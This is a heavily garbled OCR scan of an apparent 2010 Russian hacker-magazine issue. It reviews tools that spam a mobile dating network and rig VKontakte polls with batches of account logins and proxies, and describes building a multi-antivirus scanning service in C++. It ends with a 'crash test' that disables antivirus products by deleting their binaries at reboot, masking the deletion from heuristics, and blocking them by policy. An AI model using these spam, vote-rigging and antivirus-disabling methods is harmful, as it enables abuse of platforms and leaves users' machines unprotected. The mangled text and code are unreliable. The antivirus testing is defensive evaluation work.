о 0ае!е !ьэ шпь с!!Ф соц.| ы Фо|ез
сф{: з
в0.!а!.!фа
оопе
кфия мо{.! кфьа{ 4 |р1 [ь2}.в'
@
14нтерфейс вайпера
BemeP34 for Journal-plaza.net
0, памер мо6ильной социалки
911 _ постучаться модератору в анке-
ту;
922_лритласитьвклан;
999 флуд в журнал клана;
933 _ оставить кошентарий в блоге;
111 _ запостить объявления о знакомс-
тве;
100о _ отправить кошентарии к фото-
графии;
222 _ спам на епа] 1 ;
40 _ спам в приват с одного профиля
без допо !нитепьнь:х действий ;
э0 _ спам и фц:д во всех действиях.
Ёадеюсь' тьт не слишком сильно надоешь адми-
нам галактики |]
[1рограмма:\/(!о1еР
0 [ : \:1/! п0ошз 20о0 |хР | 2о03 5егуег/
[!з!а/2008 5е гует!7
Автор: па|[ьгц5ь
А вот и еще одна крайне полезная гили1а для
твоейлюбимой социальной сети -!(!о|еР _
на крлчик опросов 8 (онтакте от античатовца
па![БгшзБ.
Ёсли ть; принимаешь участие в опросе попу-
лярной группь:' но никак не мохешь набрать
необходимое количество голосов, то данная
программа помохеттебе в этом нелегком
деле. 6 помощью нее ть! смохешь в несколь-
ко кликов накрутить голоса в указанном
запросе'
[1ринцип работь! проги прост:
1. !казь;вай ссь:лку на опр0с;
2. 3ь:6ирай вариа нт ответа ;
3. 8ставляй или загрухай аккаунть: 8(онтакте
[свои' конечно хе ,]
.!алее кахдь:й поток программь! по очереди
будет брать по одной паре ''логин:пароль" из
составленного то6ой списка и авторизоваться
под ней'
3атем подтекущим а ккаунтом накрлчик
всцпает в группу' в которой находится опрос' и
голосует по указанномутобой варианц'
1акхе опционально программа мохет отписать-
ся в теме.
0сновнь:е фини программь!:
. Работа с проксями;
. 3озмохность использовать макрос [0Р1!0\1
для указания значения варианта ответа;
. оандомизация сообщений' ко]орь!е раз-
деляются указаннь;м тобой сепаратором' (
примеру, ть! голосуешь за значение #8 в теме,
а текст значения -.Борис йоисеев,' значит
в поле "[ообщения>ть! долхен указать
следующее:
ф
--..ы
!.* | ь6 !йФч.
зуются регулярнь!е вь!рахения' аналогичнь|е
тем, которь!е применяются в Р|Р:
впа'1: [-а-2А_7\с\_\. ] +@ [_а-2А_
2\ё\_] + (\. [_а-7А-7\а\ ] +) +
!Р!: (?!)}:ге{=(' !+39] ) (ь[[р:// !ь
сср5:// \1[р: / / !м. !Р!: / / ) \[_а-
:\6\_] +(\. [_а-2\о\-]+) +) ( (/ [ _а_
а\6\_\\\ .)=&ъ | / / ]+\ +) *
,]5 : <5сг|р[ ( [^>] *?) > (. *?) </зст|р[>
0сновной функционал программь!:
. 71звлечение егпа![-адресов;
. йзвлечение ссь:лок;
. 14звлечение..]ауа5сг!р[;
. !,4звлечение описания страниць! ;
. [4звлечение кейвордов страниць: ;
. 8озмохность создать свое правило регуляр-
ного вь!рахения;
. 8ьгвод исходника страниць].
!1ю6ь:е предлохения и по}елания направляй
прямииом Агх!!о[{'у в шео' а}.о тот/|о'шт/
з [: ош| | геа 6. о [: о ?{=435 0.
[1 рограмма : 50а1ацт 0.7
0 8 : \с\|! п6ошз 2оо0 |хР ! 2оо3 5егуег/
[|з!а/2008 5егуе{'1
Автор: п|шоЁп
!алее хону познакомить те6я с несколь-
ко специализированной программой
- спамером популярнейшей мобильной
социальной сети .|алактика знакомств>
[]ауа9а1а'гш).
!памер умеет спамить и флудить следующим
о6разом:
. в приват;
. комментариями в блог;
. комментариями в фотоальбомь:;
. в хурнал клана;
. в приглашения клана;
. в функции добавления друга;
. в о6ъявлениях о знакомства;
. по епа|[.
[акхе имеются возмохности совершать весь
спам и флуА оАновременно, отключать и
включать любь:е пользовательские опции и
вь!ставлять задерхку на пось:лаемь;е сооб-
щения.
6 программой можно работать с помощью
следующих команд:
0 _ отправка сообщений о добавлении в
друзья с одного проФиля;
1- 5 _ простая отправка сообщений с
1 5 проФилей;
хАквР 08 /1 з9, 1 0
накргчик опросов 8(онтакте
[оРт1ош] сье ье5с] !я голосую за
[оРттош] | [оРт]ош] и только он:
8 ходе работь: программа будет рандомно вь!_
бирать мессац из списка сообщений' готорь:е
разделень! зна ком'' | "' а в тему будет отправлено
одно изтаких сообщений:
Борис моисеев [ье ье5с ]
я голосую за Борис моисеев
Борис моисеев и только он]
(ак видишь, все до безобразия просто. (ак всег-
да. любь:е отзь:вь| и предлохения направляй
п ря м и ком автору в то п и к ь [ ! р 5 ://{о г0 гп. а п | ! с ь а1.
го7т1:геас] ] 94387.бггт|.
['1 рогра м ма : з1!1.гш Р!1е 1!р[оа6ег
0 [ :\А/! п 6ошэ 2000 !хР ! 2003 5е гуе г/
!!з!а/2008 5етует!7
Автор: з[езБ
с|\0ос!мь фа 5о!пп95ш49\['ъи докун6нтьмЁ [ьь рьо[о шо
и{6е6! фе,9 .о.а с[ь.аф
выход | копирвтьизжрь:ть|
Бь!страя закачка файлов в обменник
3авершает наш сегодняшний о6зор уАобнейшая
утилитка' которая позволиттебе онень 6ь:стро и
удо6но зал ить фа йл на обмен н и к з[! [' гц.
|ользоваться программой мохно двумя разнь!-
ми спосо6ами:
1 . [1 росто за пус кай и вь;6ира й фа йл для за кан ки;
2' (ида й ее в одну из ди ре к: орий:
2 000, хР, 2003 _ ₠: \!осцпеп!5 апо
5е!с |п95\<иш пользователя>\5еп6то\
у|5|.а, 7 _ с: \1'}5ег5\<иш пользова_
теля> \Арроа[а\коап|п9\м1сгозо г [ \
ш|поош5 \ 5епсто \
и вь:бирай любой файл' кликнув по нему правой
кнопкой мь:ши.,[,алее в пункте .0тправить>
вь:6ирай "з[|['гш".
|арактеристики проги:
. 3акачка одного лю6ого файла за один раз;
. 0то6рахение прогрессбара ;
. (омпактнь:й дизайн и возмохность скопиро_
вать за грухен н ьп й фа йл сразу в буфер об мена;
. !аписан на !и ($/!пАР! + !!!п5ос}<};
о с]исть;й размер -7690 байт.
[ам автор совецет юзать второй способ для
заканки файлов в обменник. 3ц
Ё
б
;_-\-
т\-
з-
ш
-с.
,ь'
=
*
:
ш
--
э
ъ
-1!
п!1
Ё
> о7з
BemeP34 for Journal-plaza.net
. ] Артем (Рапкоп, смирнов
св0пм14рукамп
[оздаем пу6личнь:й сервис для пр0верки файла
неск0лькими антивирусами
|едавно я проч итал статью (риса (асперски, посвященную !!гшз}о1а['у,
и всерьез загорелся идеей созданием такого сервиса. [1очему бьт и
нет? [1роблема малвари сейчас стоитдовольно остро, а необходимость
проверки одного, но весьма подозрительного фа йла появляется у
пользователей с завидн ь! м постоянством.
вполне логичен' а 0! я вьпбрал, потому что в нем
есть онен ь удобн ь|е кла ссь! для вза и модей ст_
вия с процессами.
. 3нание Р| Р + А..|А[. Ёу а ка к и наче?
. !мение верстать|рисовать' ли6о человек,
которь:й это сделает. Без хорошегодизайна
сервис долго не прохивет.
мАтЁРиАль| и мБт0дь!
[4так, что;<е нам нухно? Рассмотрим по пунктам.
. 8ь:деленнь:й сервер. Ёе !05' а именно
0е0!са1е6. 9 успел отхватить себе сервак с [оге
0цо,2 !-б РАй и безлимитнь:м трафиком (1 0
йб/с] за $1 00 в месяц. 6редние хе расценки
сейчас заметно вь:ше :].
> о74
. 0пь:т работь: с |!пцх - в канестве платформь:
я вь;брал именно эц 06' поскольку виндовь:й
(особенно - вь!соконагрухеннь:й] сервер
кахется м не не онен ь хорошей идеей. ,[ и ч но я
вьгбрал [-)Бшп{ш 5епег ] 0.04.
. 3нание [++/01. ['1исать мь:6удем именно на
нем' посколькудля линукса приплюснщь:й [и
х^кЁР 08 /1 з9, 1 0
BemeP34 for Journal-plaza.net
9.ь ф.... !!^ п.дФ^ !..,.... 2..'.^.. !.'.!. н&'фй:, !:'о !пр....
Ф. . \+.е - ^-н и ' ^оп.й!сА.ф!(/^оп'л,ф',цр!о'6,ф
! Ф@ь!{.+.ьр : ..м. - ч!!о..рьр в
а] ь:т" _,:'.'соп'с^|]т;!;' (о{.{.1.{,|!|.
<!(*!! ф..1!о! &!1у'.о' *.!1<.</!!!1Ф
<!ц |..{-''!'1..<'9' ..1"31у|.,ь..!'
<.<.[й !'р."1.!!/)!!о'(.'р!',.(.')!!..' )'''</к,|л'
..'6!_'ьф_|.у.'<.!9!' :
а.!. ;..!..) (
.,.. ";.|...!(...{Ф]., _т
'! гм:- со: з.:.:;
"(
!..з-,{.. !_!..!():
. !' (..:па.!о'( ) .-.] )(
..!т||.о!1!'0с!-а.1.( !'. .|);
)
.;1т-;"":("9{-.л.! )',
)
ф о'о,]"'.!_а.!.(1 '>
<4! 1ё-'.!..;'х/аБ
Разбор вь:вода антивиоуса
. уста новочнь!е па кеть1 антиви русов и дипломатические
навь!ки для о6щения с антивируснь!ми компаниями.
пЁРЁйдвм к пРАктикБ
Ёа6росаем небольшой план. что долхна делать наша
софтина? 0на запускает консольнь:й сканер ан-ивируса'
читает и парсит его з16оц1' !"]тобь: понять стиль поведения
антивируса' запустим его с параметром --Бе[р' внима-
тельно вкурим в результат. а затем скормим ему здоро-
вь:й и зарахеннь:й [поонередно' естественно] файль: и
сравним вь!вод антивируса' (ак это 6удет реализовано в
софте ?
(актебе ухе известно {если ть! читал мою статью в майском
][ ], в 0| есть очень полезнь:й класс оРгосе55' кото!ь:й
слухитдля запуска внешних программ. 0н умеет запускать
программу' получать ее вь!вод и сообщать нам о заверше-
нии программь!. !о нам этого недостаточно' поэтому мь! не-
много допишем класс. что будет в новом классе? 0н долхен
собирать вь!веденнь!й в консольтекст по мере его посцпле-
ния и генерировать сигнал с этим самь!м вь!водом и именем
процесса при его завершении. сказано - сделано:
'] ' ,.1.]:] оАуРгосе35 : |]!г] ] ] .' 0Ргосе55 {
'.'о|с1 [:; [ ]]1е 5саг[Ргосе95 (
|.!1$| 05сг!п9 &папе,
сот,з: !5|г{п9!]5! &рагап5) ;
ч]т:т. ч:
-;г; ],1 опАуР|п|5ьес (оАуРгосеээ *зеп6ег,
|аш сеовис в работе
Разоаботка РЁР-части
|'.1.!'! о5сг|п9 &ау,
05[г'п9 &о!срц|,
;. ,:::;. ]: ' ех1[₠оое) ;
: 1 ': :; 1)':;:
оРгосе35 : :вх||5|а[0Б ех||5[ас05) ;
,] ; , опР'еа6уРеа6();
);
(а к в иди ш ь' кла сс на сл едуется от 0 Ргосе55. Ра ссмотри м
методь! и слоть! этого класса:
' ' ] оАуРгосе55: :5[агсРгосе55 (
(]| э' о5!г|п9 &папе,
. ]'5' 05|г|п9!|9[ &рагап5)
{
0г11е]п!о 1п|о (папе) ;
аушапе = !п{о. г|1ешапе ( ) ;
5[аг[ (папе, рагапз) ;
)
(ак нетрудно догадаться' этот метод слухитдля запуска про-
граммь! и сохранения имени процесса передзапуск0м' код,
за ключен нь:й в слот опРеаоуРеас, п росто аппендит про_
читан н ь:й вь!вод к ухе имеющемуся' а слот опг |п| з|е0 ( )
генерируетсигнал ( ]] 1 опАуг!п15ьео('' :, аушапе,
ауБц! [ег, ех||соае). 8сетривиально' поэтомуя предла-
гаю двигаться дальше, к главному классу:
:'].1:;]:] оАу : ;;::::1 !с' 0оь]ес|{
.,; ]с1 з|аг[₠}:ес]<(г:с;:.ь о5[г!п9 &'шапе) ;
;: 1.,: ',
омар<05|г|п9, о5|г]п9 > ау5;
0т,!3с<оке5ш1|Ра|г > ге5ц1| 5 ;
0$[г'п9 г|1ешапе;
,::] :::':. !АтРгосе5Б* сгеа|еРгосезз() ;
0у|г1п|о 'п1'пе раг5еоц[р0[ (
соп9| о5сг!п9 &аушапе,
соп5с 05[г'п9 &оцср0|) '
:;|г:т:.;::;:
'', , ] , опА!!опе (с::о: :э |. 05[т!п9 аушапе ,
с:(]п:]1 0$[г'п9 ауРезц1[ ) ;
1'! |'..1',: 1|-0!15:
:г, :,1 опАуЁ]п|5ьес (оАуРгосе55 *5епаег,
. ()|]Б] о5!г!п9 &ау,
сог,51 09|'г]п9 &оц!рц| ,
с:оттэ| |т:: ех|ссоае) ;
\;
Разберем код по порядку. 3а запуск антивирусов у нас отве-
Ап||у!гш#у
оопе| 6л 'о0па (85%)
Аь!!п8! 1|'5 а у]г05, 1 8агап[ее (ь!5!
с}кк оф поге!
хАквР 08 /1 з9/ 1 0
} шагп!п9
Ёе используй
нелицензионнь!е
версии антивирусов
в своем сервисе и не
хостись в России'
г !п[о
пЁ5Ргст
[руппе !,4-3-1
[[1рикладная
йатематика] \4[|}
..[танкин,.
0!еЁаг0, }аез[..]' гпе1а[
АзесБ[а'Ёц согп-
пш п!1у
) 075
BemeP34 for Journal-plaza.net
чает функция 5[аг[сьеск ( ) :
уо|с] оАу: :5!атссьеск (со115: о5сг|п9 &гшапе)
{
чоеь!9() << ', [*] 3сапп;п9 г11е',;
г{]ешапе = гшапе;
05гг!п9т-'51- рагап5;
0АуРгосе53 *ргосе55;
,/,/ в| |.ое{епоег
ртосе55 = стеа|еРгосе55() ;
рагап5 -<'' _-асг ;оп=_|9по1е,,
<< {;1ешапе;
ртосез5 >5[агсРтосе55 (,,бёзсап,',
рагап5 ) ;
рагапэ.с1еаг();
]
8 параметр [\апе, как нетрудно догадаться' передается имя фай-
ла, которь:й мь! будем проверять. 8 данной статье я буду показь!вать
вза имодействие только с одним антиви русом - дальше ть! смохешь
продолхить сам.
(стати говоря' знаешь' почему параметр передается в таком стран-
ном виде (со!15[ 05[г'п9 &гшапе) ?.(ело втом' что при передаче
параметра по значению [то есть, например' просто 05[г|п9 ||тапе)
в стек переменная будет копироваться целиком' и это совсем не гуд'
а при передаче поуказателю [0зсг|.о гшапе) встекбудегкопиро-
ваться только адрес переменной. йинус в том, нто мь: будем вь:нух-
день! работать с ней как с указателем. ну а передача по константной
ссь!лке - соп5| 09[г'п9 &гшапе - это комбинациядвух предь!дущих
методов. Б итоге в стек копируется только указатель на переменную [то
есть 5: 2ео: (уо1с*) |' и работаем мь: с ней' каксобь:чной переменной
Ёе о6ошлось, конечно хе' и 6ез лохки депя - мь! не можем изменять
переменную в нашей функции. А оно нам надо? 8 данном случае - нет,
нуа если понадобится, то мохно завести переменную в самой функции
и скопировать еетуда- "|екрасиво>, - скахешьть:. йохет6ьтть' зато
> о76
.}\
онень эффективно - функция будет вь:зь:ваться намного бь:стрее' если
все переменнь!е влезут в регистрь: [при условии юзанья фастколла).
.[1адно, лирику в сторону' поехали дальше.
Ёаверное, ть; обратил внимание на чоеьш9 ( ) . что это? это потокдля
вь!вода отладочной информации в 0| |онень удо6ная вещь' мехду
проним}.
.[,алее мь; создаем процесс и !!ривязь!ваем его к имеющимся слотам с
помощью функции сгеа!.еРгосезз ( ) .0на абсолютнотривиальна:
оАуРгосе53 *ргосе55 = пеш оАуРгосеБ5;
соппес[ (ртосевз, 5тсшА! (опАуг'п'5ьео
(9АуРгосезз*,о5[г|п9, о5сг|п9, ] п! ) ),
[п ! 5, 9!от (опАуг!п15ьес (оАуРгосе55*,
о5|г!п9,о5[г;п9,.т:|) ) ) ;
]]е[|]}!; ргосе55;
(актолько процесс завершается. начинает свою рабоц слот
опАуР|п!з11е0 ( ) [см. врезкуслева]
!,4 снова введутебя в курсдела: амз - это 0йар из
|уресе1 оРа|г<о5|г1п9, о5[г1п9 > 0Ре5ц1[Ра|т, *'
0н содерхитларь| <имя процесса; название антивируса>для простого |
распознавания завершившегося процесса.
0дна из вахнейших функций в нашей софтине - раг5еоц!рш[ ( ) . как
видно из названия, она парсит вь!вод антивируса при его завершении и
вь]дает результат скани рования' 8ьтглядит она та к:
ф\,г|г1п!о 1п[о;
]п!о.1з1п|о = 1пго. 151п'ессеа = !а1Бе;
!{ ( аушапе == льа5сап! ) { ,,/ в][оегепоег
|г ( ош[р0[.{поехо{(''ок'') > 0 ) {
]п{о.|51п{о = |]|1]е;
ге|цгп 1п'о;
]
]]1[ 'поех = ош[рцс. 1п6ехФ! (''|п'ес[еа:,, ) ;
|{ ( {д(6; == 1 ;
гегт::-п {п[о;
!п!о.6еэсг|р[|оп = оцсрцс.п|о (1поех + 9,
оцсршс. {п0ехФ[ ( '' \п'' , ]п0ех) -
1п6ех _ 9).сг1шео();
]п|о. |з1п{о = 1п!о.15тпгес|ео = [г1]е;
)
1щ происходит самь!й о6ь!кновеннь;й раз6ор стро ки.Ёсли мь! не находим
какого-то ключевого слова - значит, ошибка. Бсли находим слово' со
ответствующее отрицательному результату {то есть' файл не зарахен] -
возвращаем 0(' 14'наче - копируем вь]водантивируса и возвращаем его'
8ернемся к слоту опАуг|п|5ьео ( ) . ['1осле парсинга вь!вода мь! пишем
результат в файл в виде Ё1й[ таблиць: для удобного вь:вода в браузер-
8 се ! (остя к сервиса созда н. 8стает во п рос: .А ка к на этом м охно за ра-
6отать"? Ёа мой взгляд, естьдва варианта:
'1 '"|риватная" версия сервиса. !е отправлять на проверку файль: за
небольшую денехку. ! меня - 1 цент за 1 антивирус' (ак реализовать?
!р1а6[езтебе в руки|
2.Реклама. йохно размещать баннерь: тематинеских форумов/сервисов
и|или контекстную рекламу от того хе цгла.
3.['1родаха лицензиочнь!х версий антивирусов.
зАключЁнив
(ак показала практика' самь:й напряхнь:й момент в разработке - со-
здание сайта. !енавиху РЁР! ['1осле понятного и логичного [++ разра-
ботка на Р!Р +А1ах подобна пь!тке, но в итоге использование в качестве
А1ах-библиотеки 5а1ах. а 50|-базь;50|!1е решило все мои проблемь:.
11а этом позволь свернуть мое краткое повествование и похелать тебе
уданной разработки' А будут вопрось1 - пиши. йь:ла не указь:ваю' пос-
кольку настоящий хакер всегда и так смохетменя найти :]..]с
о5сг'п9 аушапе = ауз. ||п6(ау) .уа1ше ( ) ;
1! ( аушапе.15впр|у() ){
чоеьц9 () << . [ ] 1-1пкпошп ргосе55 [ |п{з}те6'';
гег 1] гп;
]
атзР'епа|пз-_;
оу{г1пго |пго = раг5еош[рцс (ау, о![р!с) ;
!] ( ] 1п{о.15тп'о) {
иг|сеРе5ц1г' (аушапе, ',вРРФР'' ) ;
гег]]г]];
]
1[ ( ! |пго.|5]пгес[ео )
шг'[еР_е5ц1[ (аушапе, ',ок'' ) ;
е15е {
шг1[еРе5ш1| (аушапе, ]пго.се5сг|р| 'оп) ;
аузгоцпа++;
)
(1'-1 с| е 5епоег;
1]{]ау5Репа1п5){
чоеь!9() << епо1 << епс1 << ''оопе,,'
<< ау5гошпа << ,,/" << со[а1Ау5 << ''гоцпа!
чгеьц9() << еп01 << ''Р'апкоР, Ах_5ог[.Рц,
Р'ш55|а, 2010'';
иг|[егоо|.ег ( ) ;
осогеАрр1|са[|оп: : ех|[ ( ) ;
)
х^кЁР 08 /1 з97 1 0
BemeP34 for Journal-plaza.net
! ! 6ееоп15 6ёеоп!5га9па|!.соп
краш-тест
0течественнь|
ант14в14рус0в
[уровая пр0верка грандов А[_индустрии:
по6едивших нет!
(ак обь!чно тестируют антивирусь!? [1рогон яют ихна специально
за гото вл е н н ь!х зл о в редах, п ь|та ются вся ч ес к и обойти э в р и сти ку,
вь:браться из песочниць[... ]акихтестов полно в [ети,но в этот раз все
будет иначе. йь: будем проводить краш-тесть!. йь: будем грубо ломать
и вь1водить из строя самь!е круть!е аверские подел ки и в итоге узнаем,
кто из них оказался самь!м крепким.
(егодняшнее тестирование 6удут прохо-
|1ер-
вь:й испь:туемь;й - (азрегз}<у 6Р}51А|' 3то
['10 разрабать:валось специально для ком-
плексной защить! пользовательского ком-
пьютера. 8 (ристале, помимо классического
сканера и резидентного проактивного
модуля' есть такхе средства родительского
контроля, шифрование даннь!х' менедхер
паролей, которь!е для нас особой ценности
> о78
сегодня не представляют. 8торьгм кандида_
том на уничтохение будет 0п!!еб 5есшг!{у
5расе Рго. Бго функционал нуть беднее. Ёет
менедхера паролей. виртуальной (лавиа-
турь! и прочих полезнь!х и не онень фин.
Антивирус предназначен для комплексного
противодействия интернет-угрозам в соче_
тании с дополнительной защитой от сетевь!х
ата к бла годаря встроенному брендмауэру.
0ба антивируса очень популярнь: в России,
а (аэрегз&у еще и входит в мировую пятерку
самь|х продаваемь!х программ для защить!
от зловредов.
пРинцип твстиР0вАния
!ля проверки антивирусов на прочность мь!
разработали пять собственнь:х тестов. !еко-
торь!е тесть! представляют собой специаль-
но написаннь!е программь!, другие мохно
вь!полнить вручную с помощью стандартнь!х
хАк₠Р 08 /1 з9/ 1 0
BemeP34 for Journal-plaza.net
возврата 1,
'|оп5. код возврата 1.
код возврата !.
код возврата 1
77зЁ5с. коА возврата 1
} шагп!п9
!е используй
нелицензионнь1е
версии антивирусов
в своем сервисе и не
хостись в России.
} !п[о
пг5РЁст
[руппе /1-3-1
[[1рикладная
\4атематика] й[1!
.₠танкин>.
0|еЁаг0, 1аеэ[..)' пе!а[
Азес[(а.Рш согп-
пш п |1у.
действия з:о
дейФия з:о
дей<вия з:о6:оз: Ё1поАр
ы ап0п1о!фшехшапе: 511
Бние дей<пия з:06:оз: г{
дайствия з:о6:оз: ₠ггогА
)'(5с:м) [оз:о5:оз :915] :
(писталл запустился. [']олет ноомальнь:й|
!ио выгрузить ка5регз|(у спу5тА!.
фрп0па1п95нф. код возврата з.
.! !
1айная деинсталляшия закончилась обломом
краш-тестов будет всего пять. [1ервь;й тест 6уАет тупо
пь!таться удалить самь!е вахнь!е бинарнь;е файль: дис-
трибутива антивируса. Ёо не просто удалить' а удалить
при загрузке 0[ с помощью специальной АР!-функции'
8торой будетделатьто хе самое' но при этом еще и
хитро шифровать имя удаляемого файла' чтобь; анти-
вирь не догадался' что его хотят стереть с практически
собственного хесткого диска.1ретий тест, опять хе'
удаляетхизненно вахнь!е файль:, но при этом скрь!вает
это, маскируя вь!зов смертоносной АР!-функции под
совершенно 6езобиднь;й код'
|]етвертое и пятое испь!тание стоят особняком' пос-
кольку 6уАут вь!полняться с помощью стандартнь!х
средств 06 \:!!п0ошз - никаких специальнь!х утилит
мь! писать не будем. Разумеется, при хелании все
это мохно реализовать и программно. 14так, один из
тестов будет запрещать запуск антивируса посредством
пол итик безопасности, а второй попробует деинсталли-
ровать ['10 без лишнего шума и пь!ли'
йтак. когда мь! немного разо6рались стем, нто 6уАем
делать, приступим непосредственно к краш-тестам.
тЁст ш91
['1ервь:й тест будет производиться с помощью специаль-
но написанной утили-ть1.8 командной строке мь! переда-
дим ей полное имя файла, которь:й хотим удалить при
следующей загрузке 0[. [1рограмма вь|зовет систем-
ную функцию \4оуеБ![еЁх, которая мохет перемещать
файль: и папки. [1ервь:й ее параметр - это полное имя
перемещаемого файла, второй - куда будем переме-
щать, а третий - флаг, которьпй задает некоторь!е опции
перемещения. Ёсли второй параметр оставить пусть!м,
то есть передать \(..]|| вместо строки с новь!м местом
хранения, а в качестве флага установить значение
м 0уЁг! !_Ё_0 г |Ау_("] шт! |_п Ёв00}' то нухн ь: й на м фа йл
будетудален во время загрузки 0['
8се просто. 8сего одна функция, и никакого хитроум-
ного кода' 1акую утилитку мохет написать дахе ученик
средней школь:.1еперь проверим, как она подействует
на наши антивирусь!. ['1ервь:м по списку идет (азрегз!у
опу5тА|. Бсли посмотреть в менедхер процессов,
то мь! увидим' нто (аспер два раза запустил аур.ехе.
0дна копия запущена с системнь!ми привилегиями' а
запускается потенциально опасная программа
тБ5т.Ёх!. прогрё!'1мё не ишеет цифровой
подписи, о6ладает вьзсоким рейтингом
опасности.
доверяете ли вь! этой программе?
'да
Разщшить истолнение програмшь|
) Фгранннггь
Ра3решить ис!олнение програ}'|}!ь!, за6локировав
только опаснь!е опеРац4и
} }!ет
ъпретить исг!олнение пРограниь|
вь| исполь3уете пРо6ну:о веРо::о.
Рекомендуется пршо6рест;: коммерческую веРсп}о.
|отенциально опасная программа. [ейс-
твительно. есть у нее такой недостаток.
инструментов !!!п0оууз' (стати' все испь!тания прово-
д"'." " й!'6'*з |Р Рго{езз!опа[ 5Р3.
3а прохохдение кахдого теста будет вь:ставляться
оценка по пятибальной системе - совсем как в школе.
Бдиниць:' конечно, мь! никому ставить не 6уАем, но и
завь!шать балль; за спосо6ность к вь!хиванию - не в
наших правилах' 8 конце мь! подсчитаем среднеариф-
метическое всех оценок и посмотрим, кто оказался
самь:м стойким.
1еперь немного о самих тестах. ]ак как мь: тут проводим
не абь: что' а краш_тестирование' то и испь!тания у нас
6удут соответствующие. 0сновная их цель - вь!вести
из строя антивирусное [10 как мохно незаметнее для
пользователя. Ёсли в результате вь|полнения того или
иного теста защитнь!е функции наших кандидатов
<на уничтохение>> перестали работать, то антивирь
получаетхирную двойку. 8 противном слунае мь; будем
смотреть. как [10 справилось с проблемой. Ёсли перед
смертью ему удалось вь!дать какое-ни6удь сообще-
ние - начисляем трояк. (ак ухе 6ь:ло сказано вь!ше,
х^кЁР 08 /1з9/ 10
(азрегв}<у"6ву$тА]- спРвка
1 от.--г : г т г|а л |'(| 1 г,па с(|а э п |эг|с ( с( | 7
> о79
BemeP34 for Journal-plaza.net
7''а|
$
вторая - с правами активного в даннь1й момент пользователя. уда-
лять будем именно этот файл' которь!й по умолчани ю лехит в папке
<о/орго9гагп[|[е5%\(аэрегз[у |аб\(азрегз|<у [ Ру5тА|\"' 3апускаем
у1илиту, передав ей в качестве одного из параметров полное имя
экзешника и.'' (ристал начал ругаться на нашутестовуюутилиту,
определив ее рейтинг опасности как <вь!сокий,>- Ёсли бь: это бь;л
реальнь;й 3ловред' то пользователю пришлось бь: решать, разрешить
подозрительной программе вь!полниться или нет. Ёсли все-таки дать
свободу нашей утилите, то после ребута системь! антивирус не запус-
кается. [1рограмма сделала своедело иудалила главнь:й бинарник
(асперского. 8 слунае запрета вь!полнения подозрительной тулзь!
все 6удетхорошо - аур.ехе останется на своем месте и по'прехнему
будет радовать пользователей красивой иконкой в трее'
1,4так' (азрегз[у спу5тА| прошел первое испь!тание' но' к соха-
лению' всего лишь на троечку. 0чень часто пользователи хмут на
кнопку..!а' не читая' что там пишут'
[ледующее защитное |10 - 0п$/еб 5есшг!{у 5расе Рго. 8 отличие от
спу5тА|' !октор 8еб состоит из мнохества исполняемь!х ехе_фай-
лов, кахдь:й из которь]х ответственен за свою функцию. !о удалить
мь: попробуем самь;й главнь:й 6инарь, которь]й' как и в (аспер-
ском' запускается от имени системь! - 6шеп9!пе.ехе. 1естовая
ут и лит а у да л ен ия отработала без п робл е м',!о кто р дахе не п и с к_
нул. Ёо посмотрим' нто будет после перезагрузки. А после нее все
осталось на своих местах - анитвирус как новенький! !у нто хе'
попро6уем стереть какой'нибудь другой вахнь;й файл, например'
у-гилиту о6новления или базь; с сигнатурами. [1осле нескольких
запусков смертоносного кода и перезагрузки компьютера !октор
остается хив, и поэтому получает за первое испь!тание твердую
пятерку. |икакого шума' никаких вопросов к пользователю. [1росто
не удаляется :].
) 080
тЁст ш92
8торой краш-тест очень похох на первьтй, но с одним единствен-
нь!м отличием - путь к удаляемому файлу мь! передаем в зашифро-
ванном виде. |'1роцедура шифрования тохе не совсем простая. йь;
используем специальнь:й трюк' нтобь: обмануть эвристики наших
антивирусов. [1одробнее об этом мохно почитать во врезке. А пока
посмотрим, как справятся с этим испь]танием (асперский и !октор
Б еб.
['1ервь:й в очереди - (азрегэ[у спу5тА|. [1редварительно зашиф-
ровав путь к аур.ехе' мь! лередаем его нашей у1илите' Реакция
(ристала на второй тест полностью совпадает с реакцией на пер-
вьлй. Антивирус предлохил вь:брать' чтоделать с подозрительной
программой. Б слуяае' если мь! разрешаем ее вь!полнение, после
перезагрузки (азрегз[у не загрузится. !,4тог: второе испь!тание
(аспертохе проходит ьа 'ройку.
|итуация с 0г.\А/еб полностью идентична предь;дущей' 8се попь;тки
удалить какие ли6о файль;' требуемь!е для его работь|' потерпели
неудачу. !е удалялся дахе 6анальнь;й []сепзе.1х1! 3а такую стой-
кость !октор Беб полунает лять.
тЁст ш9з
[ретье испь;тание такхе будет удалять нухнь!е для антивирусного
[10 файль;' но при этом будет маскировать сам факт попь!тки удале-
ния. (ак говорилось вь!ше' для того, чтобь: стереть файл при загруз-
ке 0[, нухно функции йоуеЁ]|еЁх в качестве одного из параметров
передать флаг й 0!ЁР! |Ё 0 г|Ау_|.] !\т! |_пвв00т. !,4менно этот флаг
мь! и замаскируем под нечто безобидное' что позволит усь!пить
бдительность эвристики [см. врезку).
Ёа запуск теста с маскировкой удаления (аэрегэ[у 6Р15[А! никак
не прореагировал' [ообщение' в котором бь: говорилось об опас-
ной программе' не появилось. йохет бь;ть' (ристал блокирует эту
угрозу втихаря? ['1ерезагрухаем, и..' нет. (асперский провалил этот
тест. [10 не запустилось' аур.ехе исчез с хесткого диска без каких-
либо следов. !х4аскировка удаления файлов принесла свои плодь!'
Анализатор кода 6Р|51А| не смог распознать угрозу и поплатился
за это. Результат: двойка и ничего, кроме двойки' А что хе с 0г\у!еб?
11ровалитли он' наконец' хоть одно испь:тание? (ак оказалось' нет.
,!октор тверд, как скала. ! и какие хитрь!е попь1тк и у далитьвахнь]е
файль; его не берут. А все из'за того' что доступ ко всем нухнь!м и
ненухнь!м бинарникам из дистри6угива 8еба бь:л заблокирован
на уровне файловой системь!.1акой подход решил все проблемь: с
вандализмом. ['1росто так поменять эти права у нас не получится'
все гайки закручень1 очень крепко.3аслухенная пятерка.
тБст ш94
[ледующий тест мь: будем проводить с помощью стандартнь]х
инструментов \.^/]п6оииз 1Р Рго{езз!опа[. 8 главном меню системь!
вь:берем пункт <8ь:полнить...> и впишем туда следующее: 9ре6!1.
гпзс. 0ткроется консоль с групповь!ми политиками.1ам вь:берем
" [-.] зег [ оп{! 9 ш га1! о п >' затем <А6 гп !л !з| га{!уе [егп р [а1ез>' <<5уз[егп >.
[права найдем <0оп'1 г0п зрес!{1е6 !!]п0ошз арр[!са1!опз>.3та оп-
ция позволяет запретить запуск определеннь!х программ на основе
их имени.
,[ля (асперского мь: будем 6локировать амр'ехе. ['1рописав запрет
